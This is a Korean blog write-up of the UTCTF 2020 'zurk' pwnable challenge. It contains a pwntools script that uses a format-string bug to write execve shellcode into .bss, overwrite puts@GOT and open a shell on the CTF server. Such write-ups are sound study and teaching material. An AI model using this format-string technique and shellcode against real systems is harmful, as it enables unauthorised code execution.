SDJ( 수돈재 아님 ㅎ )

utctf 2020 - zurk 본문

write-up/pwnable

utctf 2020 - zurk

ShinDongJun 2020. 3. 9. 20:35

두번째 익스다...

첫번째 글 쓸때 쉘코드 이야기 했더니 갑자기 머리에 갑자기 쑝하고 지나가서 바로 익스플로잇을 진행했다.

 

왜 ret만 바꾸려고 했을까 got가 있는데..

fsb 한번에 bss영역 쓰는게 벅찰거라고 생각한건지...

아마 대략 6백만?만큼 길게 쓰는거 기다리는게 귀찮아서 더 귀찮은 방법을 선택한 것 같다....( 무엇 )

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
 
shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
 
server = 1
if server:
    p = remote("binary.utctf.live"9003)
else:
    p = process("./pwnable")
 
puts_got = 0x0000000000601018
call_csu = 0x00000000004007C0
 
bss = 0x0000000000601069 + 0x500
 
idx = 0
for i in shellcode:
    pay = ""
    pay += '%' + str(ord(i)) + 'c%10$hhn'
    pay += 'a'*(0x20 - len(pay))
    pay += p64(bss + idx)
    p.sendline(pay)
    sleep(0.1)
    idx += 1
 
pay = ''
pay += '%' + str(bss) + 'c%10$ln'
pay += 'a'*(0x20 - len(pay))
pay += p64(puts_got)
p.sendline(pay)
 
p.interactive()

 

'write-up > pwnable' 카테고리의 다른 글

zer0pts ctf 2020 - diylist  (0) 2020.03.10
zer0pts ctf 2020 - hipwn  (0) 2020.03.10
utctf 2020 - Cancelled  (0) 2020.03.09
utctf 2020 - zurk  (0) 2020.03.09
utctf 2020 - bof  (0) 2020.03.09
Comments